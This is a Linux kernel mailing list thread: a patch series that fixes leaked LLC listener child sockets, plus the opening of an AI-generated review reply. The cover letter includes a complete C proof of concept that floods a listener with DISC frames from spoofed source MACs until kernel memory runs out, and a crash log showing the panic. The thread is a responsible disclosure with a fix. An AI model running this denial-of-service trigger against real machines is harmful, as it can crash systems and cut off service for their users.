[PATCH net v4 0/1] llc: fix listener child socket leaks before passive open completes

[PATCH net v4 0/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated a issue in net/llc/llc_conn.c. The reproducer needs
CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() creates a passive-open child for every frame matched by an
LLC listener. The child is immediately inserted in the SAP tables and takes a
device reference, before the LLC state machine proves that the frame is a real
passive open and before LLC_CONN_PRIM makes it available to accept().

A non-SABME frame never reaches that indication. The old path therefore leaves
a published child behind which accept() cannot return. The same lifecycle gap
also remains for SABME traffic when direct processing, backlog enqueue, or
backlog processing exits before LLC_CONN_PRIM, and when a listener is closed
with queued but unaccepted children.

The fix creates children only for SABME commands. DISC and other commands that
need an ADM-state DM reply are answered directly from the listener using the
packet source address, while other non-SABME traffic is dropped without driving
the listener state machine.

For SABME, the child remains in the SAP tables during passive open so tuple
lookup continues to win over the listener. The patch tracks children through
pending and queued states, routes packets for a pending child through the
listener-side handshake, and removes any child that has not been accepted when
a failure, backlog drop, or listener close occurs. Final child destruction is
deferred to process context so its timers can be synchronized safely.

The root-cause fact fixed here predates d389424e00f9. Its parent already
creates a listener-side child, publishes it to the SAP tables before
LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local
visible history, the earliest commit where that root-cause fact is already
present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.

The reproducer writes panic_on_oom only to turn the final memory exhaustion into
stable crash evidence after the leak is already confirmed. It is not a
prerequisite for the underlying bug or for the required-capability
trigger path itself.

packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    ./poc llc_rx0 llc_tx0 110000

For the validated run we used the privileged init_net setup below so the PoC
could create llc_rx0/llc_tx0 and then send the crafted LLC traffic:

    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc llc_rx0 llc_tx0 110000

For deterministic crash evidence only, after confirming the leak with that
required-capability trigger path, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----

changes in v4:
  - Create a passive-open child only for SABME and generate listener-side DM
    replies directly for non-SABME commands.
  - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
    backlog processing, rollback, and listener close with the child lock.
  - Keep immediate SAP publication for passive-open tuple matching, but release
    unaccepted children on direct and backlog failures and on listener close.
  - Defer final incoming-child cleanup to workqueue context so timer
    synchronization does not run in the receive softirq path.
  - Add an LLC state lower-bound check before state-table dispatch.
  - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
  - Create a child only for SABME and send listener-side DM responses directly
    to the peer for non-SABME commands.
  - Replace the unlocked pending flag with an atomic incoming-child lifecycle
    and serialize lookup, rollback, and backlog processing with the child lock.
  - Keep the immediate SAP publication needed for passive-open tuple matching,
    while rolling back unaccepted children on direct and backlog failures and
    on listener close.
  - Defer final child cleanup to workqueue context so timer synchronization does
    not occur from the receive softirq path.
  - Guard LLC state-table dispatch against LLC_CONN_OUT_OF_SVC and regenerate
    from net commit 2bb155e92167cd5ad6aae312e83291da2454f8b0.
  - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
  - Rework the fix to preserve the existing passive-open tuple matching
    semantics instead of deferring child publication until LLC_CONN_PRIM.
  - Track listener-created children which are still pending publication
    to accept(), and roll them back on every earlier failure or drop
    path.
  - Cover both the original non-SABME leak and SABME paths which fail
    before LLC_CONN_PRIM, including backlog enqueue and backlog drop
    failures.
  - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the
    earliest locally visible history carrying the same root-cause fact.
  - Clarify in Bug details that panic_on_oom is only crash-evidence
    setup and explain why packetdrill was not used for this reproducer.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leaks before passive open completes

 include/net/llc_conn.h |  13 ++-
 net/llc/af_llc.c       |  11 +-
 net/llc/llc_conn.c     | 243 ++++++++++++++++++++++++++++++++++++++---
 3 files changed, 250 insertions(+), 17 deletions(-)

-- 
2.43.0

[PATCH net v4 1/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

llc_conn_handler() creates and publishes a child whenever a listener
matches a packet.  A non-SABME frame never completes the passive open, so
the child remains in the SAP tables, keeps its device reference, and
cannot be returned by accept().

Create children only for SABME commands.  Handle the listener's required
DM replies directly, using the packet source address, and do not run the
listener through the connection state machine.

Keep SABME children in the SAP tables during the passive open so that
established lookup continues to select them.  Track children until the
connection indication is queued for accept(), and release any child that
fails before then, including direct and backlog failures and listener
close.  Defer the final release to process context so timers can be
safely synchronized.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---

Notes (llc-reroll-v4):
    changes in v4:
      - Create a child only for SABME and send listener-side DM responses directly
        to the peer for non-SABME commands.
      - Replace the unlocked pending flag with an atomic incoming-child lifecycle
        and serialize lookup, rollback, and backlog processing with the child lock.
      - Keep immediate SAP publication for passive-open tuple matching, while
        releasing unaccepted children on direct and backlog failures and on
        listener close.
      - Defer final child cleanup to workqueue context so timer synchronization
        does not occur from the receive softirq path.
      - Guard state-table dispatch against LLC_CONN_OUT_OF_SVC.
      - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
    changes in v3:
      - Drop the unused llc_conn_handler() local rc variable reported in review.
      - Rebase the numbered patch and cover onto commit
        ede76849012e45ffb2193ad110b42027eec02c5c.
      - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
    changes in v2:
      - Rework the fix to preserve existing passive-open tuple matching instead
        of deferring child publication until LLC_CONN_PRIM.
      - Track listener-created children pending publication to accept(), and
        roll them back on every earlier failure or drop path.
      - Cover original non-SABME and SABME paths which fail before
        LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
      - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the
        earliest locally visible root-cause fact.
      - Clarify panic_on_oom crash evidence and packetdrill selection.
      - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

 include/net/llc_conn.h |  13 ++-
 net/llc/af_llc.c       |  11 +-
 net/llc/llc_conn.c     | 243 ++++++++++++++++++++++++++++++++++++++---
 3 files changed, 250 insertions(+), 17 deletions(-)

diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a302696..9acda0a6f 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,6 +6,7 @@
  * 		 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
  */
 #include <linux/timer.h>
+#include <linux/workqueue.h>
 #include <net/llc_if.h>
 #include <net/sock.h>
 #include <linux/llc.h>
@@ -13,6 +14,10 @@
 #define LLC_EVENT                1
 #define LLC_PACKET               2
 
+#define LLC_INCOMING_NONE        0
+#define LLC_INCOMING_PENDING     1
+#define LLC_INCOMING_QUEUED      2
+
 #define LLC2_P_TIME               2
 #define LLC2_ACK_TIME             1
 #define LLC2_REJ_TIME             3
@@ -72,6 +77,9 @@ struct llc_sock {
 					      received and caused sending FRMR.
 					      Used for resending FRMR */
 	u32		    cmsg_flags;
+	atomic_t	    incoming_state;
+	struct sock	    *incoming_listener;
+	struct work_struct incoming_work;
 	struct hlist_node   dev_hash_node;
 };
 
@@ -93,7 +101,10 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)
 struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
 			  struct proto *prot, int kern);
 void llc_sk_stop_all_timers(struct sock *sk, bool sync);
-void llc_sk_free(struct sock *sk);
+void llc_sk_free(struct sock *sk, bool sync);
+void llc_release_incoming_sock(struct sock *sk);
+void llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
 
 void llc_sk_reset(struct sock *sk);
 
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33d..837b8e034 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -196,6 +196,7 @@ static int llc_ui_release(struct socket *sock)
 {
 	struct sock *sk = sock->sk;
 	struct llc_sock *llc;
+	bool listener;
 
 	if (unlikely(sk == NULL))
 		goto out;
@@ -206,6 +207,9 @@ static int llc_ui_release(struct socket *sock)
 		llc->laddr.lsap, llc->daddr.lsap);
 	if (!llc_send_disc(sk))
 		llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+	listener = sk->sk_state == TCP_LISTEN;
+	if (listener)
+		sock_set_flag(sk, SOCK_DEAD);
 	if (!sock_flag(sk, SOCK_ZAPPED)) {
 		struct llc_sap *sap = llc->sap;
 
@@ -214,16 +218,20 @@ static int llc_ui_release(struct socket *sock)
 		 */
 		llc_sap_hold(sap);
 		llc_sap_remove_socket(llc->sap, sk);
+		if (listener)
+			llc_release_incoming_children(sk);
 		release_sock(sk);
 		llc_sap_put(sap);
 	} else {
+		if (listener)
+			llc_release_incoming_children(sk);
 		release_sock(sk);
 	}
 	netdev_put(llc->dev, &llc->dev_tracker);
 	sock_put(sk);
 	sock_orphan(sk);
 	sock->sk = NULL;
-	llc_sk_free(sk);
+	llc_sk_free(sk, true);
 out:
 	return 0;
 }
@@ -722,6 +730,7 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
 		goto frees;
 	rc = 0;
 	newsk = skb->sk;
+	llc_accept_incoming_sock(newsk);
 	/* attach connection to a new socket. */
 	llc_ui_sk_init(newsock, newsk);
 	sock_reset_flag(newsk, SOCK_ZAPPED);
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50..bc05a5f66 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -88,6 +89,11 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 * skb->sk pointing to the newly created struct sock in
 		 * llc_conn_handler. -acme
 		 */
+		if (sk != skb->sk &&
+		    atomic_read(&llc_sk(skb->sk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			atomic_set(&llc_sk(skb->sk)->incoming_state,
+				   LLC_INCOMING_QUEUED);
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
 		sk->sk_state_change(sk);
@@ -354,7 +360,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)
 	struct llc_sock *llc = llc_sk(sk);
 	int rc = 1;
 
-	if (llc->state > NBR_CONN_STATES)
+	if (llc->state < LLC_CONN_STATE_ADM ||
+	    llc->state > NBR_CONN_STATES)
 		goto out;
 	rc = 0;
 	trans = llc_qualify_conn_ev(sk, skb);
@@ -765,27 +772,146 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
+	newllc->incoming_listener = sk;
+	atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+	INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+	sock_hold(sk);
 	dev_hold(dev);
 	llc_sap_add_socket(llc->sap, newsk);
 out:
 	return newsk;
 }
 
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+	struct llc_sock *llc = container_of(work, struct llc_sock,
+						    incoming_work);
+	struct sock *sk = &llc->sk;
+	struct sock *listener = llc->incoming_listener;
+
+	lock_sock(listener);
+	lock_sock_nested(sk, SINGLE_DEPTH_NESTING);
+	llc_sk_free(sk, false);
+	sock_orphan(sk);
+	release_sock(sk);
+	llc_sk_stop_all_timers(sk, true);
+	release_sock(listener);
+	dev_put(llc->dev);
+	llc->dev = NULL;
+	sock_put(sk);
+	sock_put(listener);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
+	    LLC_INCOMING_NONE)
+		return;
+
+	WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+	sock_hold(sk);
+	llc_sap_remove_socket(llc->sap, sk);
+	schedule_work(&llc->incoming_work);
+}
+
+void llc_accept_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) !=
+	    LLC_INCOMING_NONE)
+		sock_put(llc->incoming_listener);
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+	struct sk_buff *skb;
+
+	while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+		struct sock *newsk = skb->sk;
+
+		if (newsk != sk)
+			bh_lock_sock_nested(newsk);
+		if (newsk != sk) {
+			llc_release_incoming_sock(newsk);
+			kfree_skb(skb);
+			bh_unlock_sock(newsk);
+		} else {
+			kfree_skb(skb);
+		}
+	}
+}
+
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
 	struct llc_addr saddr, daddr;
-	struct sock *sk;
+	struct sock *sk, *newsk = NULL;
+	bool newsk_lookup_ref = false;
+	bool newsk_locked = false;
 
 	llc_pdu_decode_sa(skb, saddr.mac);
 	llc_pdu_decode_ssap(skb, &saddr.lsap);
 	llc_pdu_decode_da(skb, daddr.mac);
 	llc_pdu_decode_dsap(skb, &daddr.lsap);
 
+lookup:
 	sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
 	if (!sk)
 		goto drop;
 
+	if (atomic_read(&llc_sk(sk)->incoming_state) ==
+	    LLC_INCOMING_PENDING) {
+		newsk = sk;
+		bh_lock_sock(newsk);
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING) {
+			bh_unlock_sock(newsk);
+			sock_put(newsk);
+			newsk = NULL;
+			goto lookup;
+		}
+		sk = llc_sk(newsk)->incoming_listener;
+		sock_hold(sk);
+		newsk_lookup_ref = true;
+		bh_unlock_sock(newsk);
+	}
+
 	bh_lock_sock(sk);
+	if (unlikely(sock_flag(sk, SOCK_DEAD)))
+		goto drop_unlock;
+	if (newsk_lookup_ref) {
+		bh_lock_sock_nested(newsk);
+		newsk_locked = true;
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING)
+			goto retry_unlock;
+	}
 	/*
 	 * This has to be done here and not at the upper layer ->accept
 	 * method because of the way the PROCOM state machine works:
@@ -795,10 +921,25 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
-			goto drop_unlock;
+		if (!newsk) {
+			if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+				if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+					u8 f_bit;
+
+					llc_pdu_decode_pf_bit(skb, &f_bit);
+					llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+				} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+					llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+				}
+				goto drop_unlock;
+			}
+			newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
+							 &daddr);
+			if (!newsk)
+				goto drop_unlock;
+			bh_lock_sock_nested(newsk);
+			newsk_locked = true;
+		}
 		skb_set_owner_r(skb, newsk);
 	} else {
 		/*
@@ -813,18 +954,38 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
+	if (!sock_owned_by_user(sk)) {
 		llc_conn_rcv(sk, skb);
-	else {
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			llc_release_incoming_sock(newsk);
+	} else {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
-		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+			if (newsk)
+				llc_release_incoming_sock(newsk);
 			goto drop_unlock;
+		}
 	}
 out:
+	if (newsk_locked)
+		bh_unlock_sock(newsk);
 	bh_unlock_sock(sk);
 	sock_put(sk);
+	if (newsk_lookup_ref)
+		sock_put(newsk);
 	return;
+retry_unlock:
+	bh_unlock_sock(newsk);
+	newsk_locked = false;
+	bh_unlock_sock(sk);
+	sock_put(sk);
+	sock_put(newsk);
+	newsk = NULL;
+	newsk_lookup_ref = false;
+	goto lookup;
 drop:
 	kfree_skb(skb);
 	return;
@@ -852,12 +1013,38 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct sock *newsk = NULL;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
+		newsk = skb->sk;
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING) {
+			bh_lock_sock_nested(newsk);
+			if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+			    LLC_INCOMING_PENDING) {
+				bh_unlock_sock(newsk);
+				goto retry;
+			}
+			if (sock_flag(sk, SOCK_DEAD) ||
+			    sk->sk_state != TCP_LISTEN)
+				goto out_unlock_newsk;
 			rc = llc_conn_rcv(sk, skb);
-		else
+			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+			    LLC_INCOMING_PENDING)
+				llc_release_incoming_sock(newsk);
+			bh_unlock_sock(newsk);
+		} else if (newsk &&
+			   atomic_read(&llc_sk(newsk)->incoming_state) ==
+			   LLC_INCOMING_QUEUED) {
+			bh_lock_sock(newsk);
+			rc = llc_conn_rcv(newsk, skb);
+			bh_unlock_sock(newsk);
+		} else if (likely(llc->state > 1)) {
+			rc = llc_conn_rcv(sk, skb);
+		} else {
 			goto out_kfree_skb;
+		}
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
@@ -870,8 +1057,33 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 	}
 out:
 	return rc;
+retry:
+	if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+	    LLC_INCOMING_QUEUED) {
+		bh_lock_sock(newsk);
+		rc = llc_conn_rcv(newsk, skb);
+		bh_unlock_sock(newsk);
+		goto out;
+	}
+	goto out_kfree_skb;
+out_unlock_newsk:
+	kfree_skb(skb);
+	if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+	    LLC_INCOMING_PENDING)
+		llc_release_incoming_sock(newsk);
+	bh_unlock_sock(newsk);
+	goto out;
 out_kfree_skb:
 	kfree_skb(skb);
+	if (newsk &&
+	    atomic_read(&llc_sk(newsk)->incoming_state) ==
+	    LLC_INCOMING_PENDING) {
+		bh_lock_sock_nested(newsk);
+		if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			llc_release_incoming_sock(newsk);
+		bh_unlock_sock(newsk);
+	}
 	goto out;
 }
 
@@ -959,17 +1171,18 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
 
 /**
  *	llc_sk_free - Frees a LLC socket
- *	@sk: - socket to free
+ *	@sk: socket to free
+ *	@sync: whether to synchronously stop timers
  *
- *	Frees a LLC socket
+ *	Frees a LLC socket.
  */
-void llc_sk_free(struct sock *sk)
+void llc_sk_free(struct sock *sk, bool sync)
 {
 	struct llc_sock *llc = llc_sk(sk);
 
 	llc->state = LLC_CONN_OUT_OF_SVC;
 	/* Stop all (possibly) running timers */
-	llc_sk_stop_all_timers(sk, true);
+	llc_sk_stop_all_timers(sk, sync);
 #ifdef DEBUG_LLC_CONN_ALLOC
 	printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
 		skb_queue_len(&llc->pdu_unack_q),
-- 
2.43.0

Re: [PATCH net v4 1/1] llc: fix listener child socket leaks before passive open completes

[Jakub Kicinski]

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
llc: fix listener child socket leaks before passive open completes

This changes llc_conn_handler() so that a child socket is only created for
SABME commands, answers the other listener-side cases with a directly built
DM response, and adds an atomic incoming-child lifecycle so unaccepted
children are released on direct, backlog and listener-close failures.  The
final child teardown is deferred to a work item so timers can be stopped
synchronously in process context.

A few questions below.

